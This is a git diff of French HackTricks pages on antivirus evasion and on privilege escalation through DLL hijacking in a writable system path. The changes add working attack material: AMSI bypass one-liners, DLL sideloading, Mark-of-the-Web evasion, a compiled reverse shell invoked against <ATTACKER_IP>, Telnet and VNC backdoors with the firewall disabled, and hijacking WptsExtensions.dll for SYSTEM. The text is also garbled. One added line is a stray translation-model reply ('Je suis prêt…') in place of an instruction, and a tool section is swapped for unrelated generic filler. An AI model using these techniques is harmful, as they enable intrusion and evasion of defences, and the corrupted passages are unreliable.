 Par exemple, si vous voulez vider LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un autre projet moins connu qui vide également LSASS.
 
-La bonne réponse est probablement la dernière. En prenant mimikatz comme exemple, c'est probablement l'un, sinon le malware le plus signalé par les AV et les EDR, alors que le projet lui-même est super cool, c'est aussi un cauchemar pour travailler avec lui pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.
+La bonne réponse est probablement la seconde. En prenant mimikatz comme exemple, c'est probablement l'un, sinon le malware le plus signalé par les AV et les EDR, alors que le projet lui-même est super cool, c'est aussi un cauchemar pour travailler avec lui pour contourner les AV, alors cherchez simplement des alternatives pour ce que vous essayez d'atteindre.
 
 {% hint style="info" %}
-Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique d'échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS TÉLÉCHARGER SUR
+Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique d'échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS TÉLÉCHARGER SUR VIRUSTOTAL** si votre objectif est d
 ```powershell
 Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
     $binarytoCheck = "C:\Program Files\" + $_
@@ -74,7 +74,7 @@ Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForE
 
 Cette commande affichera la liste des programmes susceptibles de subir une attaque de détournement de DLL à l'intérieur de "C:\Program Files\\" et les fichiers DLL qu'ils essaient de charger.
 
-Je vous recommande vivement d'**explorer vous-même les programmes DLL Hijackable/Sideloadable**, cette technique est assez furtive si elle est correctement réalisée, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pouvez être facilement repéré.
+Je vous recommande vivement d'**explorer vous-même les programmes DLL Hijackable/Sideloadable**, cette technique est assez furtive si elle est bien faite, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pouvez être facilement repéré.
 
 Le simple fait de placer une DLL malveillante avec le nom qu'un programme s'attend à charger ne chargera pas votre charge utile, car le programme s'attend à certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **DLL Proxying/Forwarding**.
 
@@ -109,10 +109,10 @@ Voici les résultats :
 
 Notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) et le proxy DLL ont tous les deux un taux de détection de 0/26 dans [antiscan.me](https://antiscan.me)! Je considère cela comme un succès.
 
-<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
 
 {% hint style="info" %}
-Je vous recommande **vivement** de regarder la vidéo de [S3cur3Th1sSh1t sur Twitch](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et également la vidéo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) pour en savoir plus sur ce que nous avons discuté en détail.
+Je vous recommande **vivement** de regarder la VOD de [S3cur3Th1sSh1t sur Twitch](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et également la vidéo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) pour en savoir plus sur ce que nous avons discuté en détail.
 {% endhint %}
 
 ## [**Freeze**](https://github.com/optiv/Freeze)
@@ -168,13 +168,13 @@ Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell
 
 **Forcer une erreur**
 
-Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) fera en sorte qu'aucune numérisation ne soit lancée pour le processus en cours. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large.
+Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) fera en sorte qu'aucune numérisation ne sera lancée pour le processus en cours. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large.
 ```powershell
 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
 ```
-Il a suffi d'une seule ligne de code PowerShell pour rendre AMSI inutilisable pour le processus PowerShell en cours. Cette ligne a bien sûr été signalée par AMSI lui-même, donc certaines modifications sont nécessaires pour utiliser cette technique.
+Tout ce qu'il a fallu, c'est une ligne de code PowerShell pour rendre AMSI inutilisable pour le processus PowerShell actuel. Cette ligne a bien sûr été signalée par AMSI lui-même, donc certaines modifications sont nécessaires pour utiliser cette technique.
 
-Voici une technique de contournement AMSI modifiée que j'ai prise à partir de ce [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
+Voici une technique de contournement AMSI modifiée que j'ai prise de ce [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
 ```powershell
 Try{#Ams1 bypass technic nº 2
       $Xdatabase = 'Utils';$Homedrive = 'si'
@@ -188,7 +188,7 @@ Try{#Ams1 bypass technic nº 2
       $Spotfix.SetValue($null,$true)
    }Catch{Throw $_}
 ```
-Gardez à l'esprit que cela sera probablement signalé une fois que ce post sera publié, donc vous ne devriez pas publier de code si votre objectif est de rester indétecté.
+Gardez à l'esprit que cela sera probablement signalé une fois que ce post sera publié, donc vous ne devriez pas publier de code si votre plan est de rester indétecté.
 
 **Patching de mémoire**
 
@@ -205,7 +205,7 @@ Il existe également de nombreuses autres techniques utilisées pour contourner
 Il existe plusieurs outils qui peuvent être utilisés pour **obfusquer le code clair C#**, générer des **modèles de méta-programmation** pour compiler des binaires ou **obfusquer des binaires compilés** tels que :
 
 * [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Obfuscateur C#**
-* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator) : Le but de ce projet est de fournir une fourchette open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable de fournir une sécurité logicielle accrue grâce à l'obfuscation de code et à la protection contre la manipulation.
+* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator) : Le but de ce projet est de fournir une fourchette open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable de fournir une sécurité logicielle accrue grâce à l'[obfuscation de code](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) et à la protection contre la manipulation.
 * [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator) : ADVobfuscator démontre comment utiliser le langage `C++11/14` pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.
 * [**obfy**](https://github.com/fritzone/obfy) : Ajoutez une couche d'opérations obfusquées générées par le cadre de méta-programmation de modèles C++ qui rendra la vie de la personne voulant craquer l'application un peu plus difficile.
 * [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz est un obfuscateur binaire x64 capable d'obfusquer différents fichiers PE, y compris : .exe, .dll, .sys
@@ -226,17 +226,17 @@ SmartScreen fonctionne principalement avec une approche basée sur la réputatio
 
 **MoTW** (Mark of The Web) est un [flux de données alternatif NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) avec le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, ainsi que l'URL à partir de laquelle il a été téléchargé.
 
-<figure><img src="../.gitbook/assets/image (13).png" alt=""><figcaption><p>Vérification du flux de données alternatif Zone.Identifier pour un fichier téléchargé depuis Internet.</p></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>Vérification du flux de données alternatif Zone.Identifier pour un fichier téléchargé depuis Internet.</p></figcaption></figure>
 
 {% hint style="info" %}
 Il est important de noter que les exécutables signés avec un certificat de signature **fiable** ne déclencheront pas SmartScreen.
 {% endhint %}
 
-Un moyen très efficace d'empêcher vos charges utiles d'obtenir la marque du Web est de les emballer dans une sorte de conteneur comme un ISO. Cela se produit parce que Mark-of-the-Web (MOTW) **ne peut pas** être appliqué aux volumes **non NTFS**.
+Un moyen très efficace d'empêcher vos charges utiles d'obtenir la marque du Web est de les emballer dans une sorte de conteneur comme un ISO. Cela se produit parce que la marque du Web (MOTW) **ne peut pas** être appliquée aux volumes **non NTFS**.
 
 <figure><img src="../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
 
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter Mark-of-the-Web.
+[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter la marque du Web.
 
 Exemple d'utilisation :
 ```powershell
@@ -266,21 +266,21 @@ Voici une démonstration de contournement de SmartScreen en empaquetant des char
 
 ## Réflexion sur l'assemblage C#
 
-Le chargement de binaires C# en mémoire est connu depuis longtemps et c'est toujours un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par AV.
+Le chargement de binaires C# en mémoire est connu depuis un certain temps et c'est toujours un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par AV.
 
-Étant donné que la charge utile sera chargée directement en mémoire sans toucher le disque, nous n'aurons à nous soucier que du patching d'AMSI pour l'ensemble du processus.
+Étant donné que la charge utile sera chargée directement en mémoire sans toucher le disque, nous n'aurons à nous soucier que du patching AMSI pour l'ensemble du processus.
 
 La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblages C# directement en mémoire, mais il existe différentes façons de le faire :
 
 * **Fork\&Run**
 
-Cela implique de **lancer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cela présente à la fois des avantages et des inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **en dehors** de notre processus d'implant de Beacon. Cela signifie que si quelque chose dans notre action de post-exploitation se passe mal ou est détecté, il y a une **beaucoup plus grande chance** que notre **implant survive.** L'inconvénient est que vous avez une **plus grande chance** d'être détecté par les **détections comportementales**.
+Cela implique de **lancer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cela présente à la fois des avantages et des inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **en dehors** de notre processus d'implantation Beacon. Cela signifie que si quelque chose dans notre action de post-exploitation se passe mal ou est détecté, il y a une **beaucoup plus grande chance** que notre **implantation survive.** L'inconvénient est que vous avez une **plus grande chance** d'être détecté par les **détections comportementales**.
 
 <figure><img src="../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
 
 * **Inline**
 
-Il s'agit d'injecter le code malveillant de post-exploitation **dans son propre processus**. De cette façon, vous pouvez éviter de créer un nouveau processus et de le faire scanner par AV, mais l'inconvénient est que si quelque chose ne va pas avec l'exécution de votre charge utile, il y a une **beaucoup plus grande chance** de **perdre votre beacon** car il pourrait planter.
+Il s'agit d'injecter le code malveillant de post-exploitation **dans son propre processus**. De cette façon, vous pouvez éviter de créer un nouveau processus et de le faire scanner par AV, mais l'inconvénient est que si quelque chose ne va pas avec l'exécution de votre charge utile, il y a une **beaucoup plus grande chance** de **perdre votre balise** car elle pourrait planter.
 
 <figure><img src="../.gitbook/assets/image (9) (3).png" alt=""><figcaption></figcaption></figure>
 
@@ -304,7 +304,7 @@ L'évasion est un sujet très compliqué, parfois vous devez prendre en compte d
 
 Chaque environnement contre lequel vous vous battez aura ses propres forces et faiblesses.
 
-Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour avoir une prise de pied sur des techniques d'évasion plus avancées.
+Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour avoir une prise de pied dans des techniques d'évasion plus avancées.
 
 {% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
 
@@ -320,26 +320,22 @@ Jusqu'à Windows10, tous les Windows étaient livrés avec un **serveur Telnet**
 ```
 pkgmgr /iu:"TelnetServer" /quiet
 ```
-Faites en sorte qu'il **démarre** lorsque le système est démarré et **exécutez-le** maintenant :
+Faites-le **démarrer** lorsque le système est démarré et **exécutez-le** maintenant :
 ```
 sc config TlntSVR start= auto obj= localsystem
 ```
-**Changer le port telnet** (stealth) et désactiver le pare-feu :
-
-Pour changer le port telnet, vous pouvez modifier la valeur de la clé de registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Telnet\Parameters\Port` en utilisant l'éditeur de registre ou la commande `reg`.
-
-Pour désactiver le pare-feu, vous pouvez utiliser la commande `netsh` pour désactiver le pare-feu Windows ou utiliser des outils tiers pour désactiver les pare-feu tiers.
+**Changer le port telnet** (furtif) et désactiver le pare-feu :
 ```
 tlntadmn config port=80
 netsh advfirewall set allprofiles state off
 ```
 ### UltraVNC
 
-Téléchargez-le depuis: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements binaires, pas l'installation)
+Téléchargez-le à partir de: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements binaires, pas l'installation)
 
 **SUR L'HÔTE**: Exécutez _**winvnc.exe**_ et configurez le serveur:
 
-* Activer l'option _Disable TrayIcon_
+* Activer l'option _Désactiver TrayIcon_
 * Définissez un mot de passe dans _VNC Password_
 * Définissez un mot de passe dans _View-Only Password_
 
@@ -351,13 +347,13 @@ L'**attaquant** doit **exécuter à l'intérieur** de son **hôte** le binaire `
 
 **ATTENTION:** Pour maintenir la discrétion, vous ne devez pas faire certaines choses
 
-* Ne démarrez pas `winvnc` s'il est déjà en cours d'exécution ou vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/1SROTTl.png). Vérifiez s'il fonctionne avec `tasklist | findstr winvnc`
+* Ne démarrez pas `winvnc` s'il est déjà en cours d'exécution ou vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/1SROTTl.png). Vérifiez s'il est en cours d'exécution avec `tasklist | findstr winvnc`
 * Ne démarrez pas `winvnc` sans `UltraVNC.ini` dans le même répertoire ou cela provoquera l'ouverture de [la fenêtre de configuration](https://i.imgur.com/rfMQWcf.png)
 * Ne lancez pas `winvnc -h` pour obtenir de l'aide ou vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/oc18wcu.png)
 
 ### GreatSCT
 
-Téléchargez-le depuis: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
+Téléchargez-le à partir de: [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT)
 ```
 git clone https://github.com/GreatSCT/GreatSCT.git
 cd GreatSCT/setup/
@@ -365,13 +361,25 @@ cd GreatSCT/setup/
 cd ..
 ./GreatSCT.py
 ```
-# À l'intérieur de GreatSCT:
+# Contournement des antivirus
 
-GreatSCT est un outil de génération de coquilles malveillantes qui peut être utilisé pour contourner les solutions antivirus. Il est écrit en Python et peut être utilisé pour générer des coquilles pour Windows, Linux et macOS.
+Lors de la création d'un payload, il est important de s'assurer qu'il ne sera pas détecté par les antivirus. Les antivirus utilisent des signatures pour détecter les malwares, il est donc important de modifier le payload pour qu'il ne corresponde pas à ces signatures.
 
-GreatSCT utilise des techniques d'obfuscation pour masquer le code malveillant et éviter la détection par les solutions antivirus. Il peut également être utilisé pour générer des coquilles personnalisées pour des attaques spécifiques.
+## Encodage
 
-GreatSCT est un outil puissant pour les hackers et les professionnels de la sécurité qui cherchent à tester la sécurité de leurs systèmes et à trouver des vulnérabilités. Cependant, il est important de noter que l'utilisation de GreatSCT pour des activités malveillantes est illégale et peut entraîner des poursuites judiciaires.
+L'encodage est une technique courante pour contourner les antivirus. Il s'agit de modifier le payload en utilisant un algorithme d'encodage pour qu'il ne corresponde plus à la signature de l'antivirus. Il existe de nombreux outils pour encoder des payloads, tels que `msfvenom` et `Veil-Evasion`.
+
+## FUD
+
+FUD signifie "Fully Undetectable" (complètement indétectable). Il s'agit d'un état dans lequel le payload ne peut pas être détecté par les antivirus. Pour atteindre cet état, il est nécessaire de modifier le payload de manière à ce qu'il ne corresponde à aucune signature d'antivirus connue. Cela peut être réalisé en utilisant des techniques d'encodage, de cryptage et de polymorphisme.
+
+## Polymorphisme
+
+Le polymorphisme est une technique qui consiste à modifier le code du payload à chaque exécution. Cela rend le payload difficile à détecter car il est différent à chaque fois qu'il est exécuté. Les outils tels que `Veil-Evasion` et `Unicorn` peuvent être utilisés pour créer des payloads polymorphes.
+
+## Conclusion
+
+Le contournement des antivirus est une étape importante dans la création de payloads. Les techniques d'encodage, de FUD et de polymorphisme peuvent être utilisées pour rendre les payloads indétectables par les antivirus. Il est important de tester les payloads avec des antivirus pour s'assurer qu'ils ne sont pas détectés.
 ```
 use 1
 list #Listing available payloads
@@ -387,7 +395,7 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
 ```
 **Le défenseur actuel va terminer le processus très rapidement.**
 
-### Compilation de notre propre shell inversé
+### Compiler notre propre shell inversé
 
 https://medium.com/@Bank\_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
 
@@ -397,7 +405,7 @@ Compilez-le avec:
 ```
 c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
 ```
-Utilisez-le avec:
+Je suis prêt. Veuillez me donner le texte à traduire.
 ```
 back.exe <ATTACKER_IP> <PORT>
 ```
@@ -475,7 +483,7 @@ namespace ConnectBack
 ```
 [https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs](https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple\_Rev\_Shell.cs)
 
-### Utilisation de C# pour le compilateur
+### Utilisation du compilateur C#
 ```
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
 ```
@@ -545,7 +553,7 @@ https://github.com/praetorian-code/vulcan
 * Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md

@@ -7,16 +7,16 @@
 * Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
 * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
 ## Introduction
 
-Si vous avez découvert que vous pouvez **écrire dans un dossier System Path** (notez que cela ne fonctionnera pas si vous pouvez écrire dans un dossier User Path), il est possible que vous puissiez **escalader les privilèges** dans le système.
+Si vous avez découvert que vous pouvez **écrire dans un dossier de chemin système** (notez que cela ne fonctionnera pas si vous pouvez écrire dans un dossier de chemin utilisateur), il est possible que vous puissiez **escalader les privilèges** dans le système.
 
-Pour ce faire, vous pouvez exploiter un **Dll Hijacking** où vous allez **détourner une bibliothèque en cours de chargement** par un service ou un processus avec **plus de privilèges** que les vôtres, et parce que ce service charge une Dll qui n'existe probablement même pas dans tout le système, il va essayer de la charger à partir du System Path où vous pouvez écrire.
+Pour ce faire, vous pouvez exploiter un **Dll Hijacking** où vous allez **détourner une bibliothèque en cours de chargement** par un service ou un processus avec **plus de privilèges** que les vôtres, et parce que ce service charge une Dll qui n'existe probablement même pas dans tout le système, il va essayer de la charger à partir du chemin système où vous pouvez écrire.
 
 Pour plus d'informations sur **ce qu'est le Dll Hijacking**, consultez :
 
@@ -28,9 +28,9 @@ Pour plus d'informations sur **ce qu'est le Dll Hijacking**, consultez :
 
 ### Trouver une Dll manquante
 
-La première chose dont vous avez besoin est d'**identifier un processus** en cours d'exécution avec **plus de privilèges** que vous qui essaie de **charger une Dll du System Path** dans lequel vous pouvez écrire.
+La première chose dont vous avez besoin est d'**identifier un processus** en cours d'exécution avec **plus de privilèges** que vous qui essaie de **charger une Dll à partir du chemin système** dans lequel vous pouvez écrire.
 
-Le problème dans ces cas est que probablement ces processus sont déjà en cours d'exécution. Pour trouver les Dlls manquantes des services que vous devez lancer procmon dès que possible (avant le chargement des processus). Ainsi, pour trouver les .dll manquantes, faites : 
+Le problème dans ces cas est que probablement ces processus sont déjà en cours d'exécution. Pour trouver les Dll manquantes des services que vous devez lancer procmon dès que possible (avant le chargement des processus). Ainsi, pour trouver les .dll manquantes, faites : 
 
 * **Créez** le dossier `C:\privesc_hijacking` et ajoutez le chemin `C:\privesc_hijacking` à la **variable d'environnement System Path**. Vous pouvez le faire **manuellement** ou avec **PS** :
 ```powershell
@@ -55,7 +55,7 @@ if ($envPath -notlike "*$folderPath*") {
 * **Après** que le **fichier** soit **généré**, **fermez** la fenêtre **`procmon`** ouverte et **ouvrez le fichier d'événements**.
 * Ajoutez ces **filtres** et vous trouverez toutes les DLL que certains **processus ont essayé de charger** depuis le dossier du chemin système inscriptible :
 
-<figure><img src="../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (18) (3).png" alt=""><figcaption></figcaption></figure>
 
 ### DLL manquantes
 
@@ -75,18 +75,18 @@ Après avoir trouvé cela, j'ai trouvé ce billet de blog intéressant qui expli
 
 ### Exploitation
 
-Ainsi, pour **élever les privilèges**, nous allons détourner la bibliothèque **WptsExtensions.dll**. Ayant le **chemin** et le **nom**, nous devons simplement **générer la DLL malveillante**.
+Ainsi, pour **escalader les privilèges**, nous allons détourner la bibliothèque **WptsExtensions.dll**. Ayant le **chemin** et le **nom**, nous devons simplement **générer la DLL malveillante**.
 
-Vous pouvez [**essayer d'utiliser l'un de ces exemples**](../dll-hijacking.md#creating-and-compiling-dlls). Vous pourriez exécuter des charges utiles telles que : obtenir un shell inversé, ajouter un utilisateur, exécuter un beacon...
+Vous pouvez [**essayer d'utiliser l'un de ces exemples**](../dll-hijacking.md#creating-and-compiling-dlls). Vous pourriez exécuter des charges utiles telles que : obtenir une coquille rev, ajouter un utilisateur, exécuter un signal...
 
 {% hint style="warning" %}
 Notez que **tous les services ne sont pas exécutés** avec **`NT AUTHORITY\SYSTEM`** certains sont également exécutés avec **`NT AUTHORITY\LOCAL SERVICE`** qui a **moins de privilèges** et vous **ne pourrez pas créer un nouvel utilisateur** pour abuser de ses autorisations.\
-Cependant, cet utilisateur a le privilège **`seImpersonate`**, vous pouvez donc utiliser la [**suite potato pour élever les privilèges**](../roguepotato-and-printspoofer.md). Dans ce cas, un shell inversé est une meilleure option que d'essayer de créer un utilisateur.
+Cependant, cet utilisateur a le privilège **`seImpersonate`**, vous pouvez donc utiliser la [**suite potato pour escalader les privilèges**](../roguepotato-and-printspoofer.md). Dans ce cas, une coquille rev est une meilleure option que d'essayer de créer un utilisateur.
 {% endhint %}
 
 Au moment de la rédaction de cet article, le service **Planificateur de tâches** est exécuté avec **Nt AUTHORITY\SYSTEM**.
 
-Après avoir **généré la DLL malveillante** (_dans mon cas, j'ai utilisé un shell inversé x64 et j'ai obtenu un shell en retour, mais Defender l'a tué car il venait de msfvenom_), enregistrez-la dans le chemin système inscriptible avec le nom **WptsExtensions.dll** et **redémarrez** l'ordinateur (ou redémarrez le service ou faites tout ce qu'il faut pour relancer le service/programme affecté).
+Ayant **généré la DLL malveillante** (_dans mon cas, j'ai utilisé une coquille rev x64 et j'ai obtenu une coquille en retour, mais Defender l'a tuée car elle provenait de msfvenom_), enregistrez-la dans le chemin système inscriptible avec le nom **WptsExtensions.dll** et **redémarrez** l'ordinateur (ou redémarrez le service ou faites tout ce qu'il faut pour relancer le service/programme affecté).
 
 Lorsque le service est redémarré, la **DLL devrait être chargée et exécutée** (vous pouvez **réutiliser** le **truc de procmon** pour vérifier si la **bibliothèque a été chargée comme prévu**).
 
@@ -95,9 +95,9 @@ Lorsque le service est redémarré, la **DLL devrait être chargée et exécuté
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
-* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
 * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>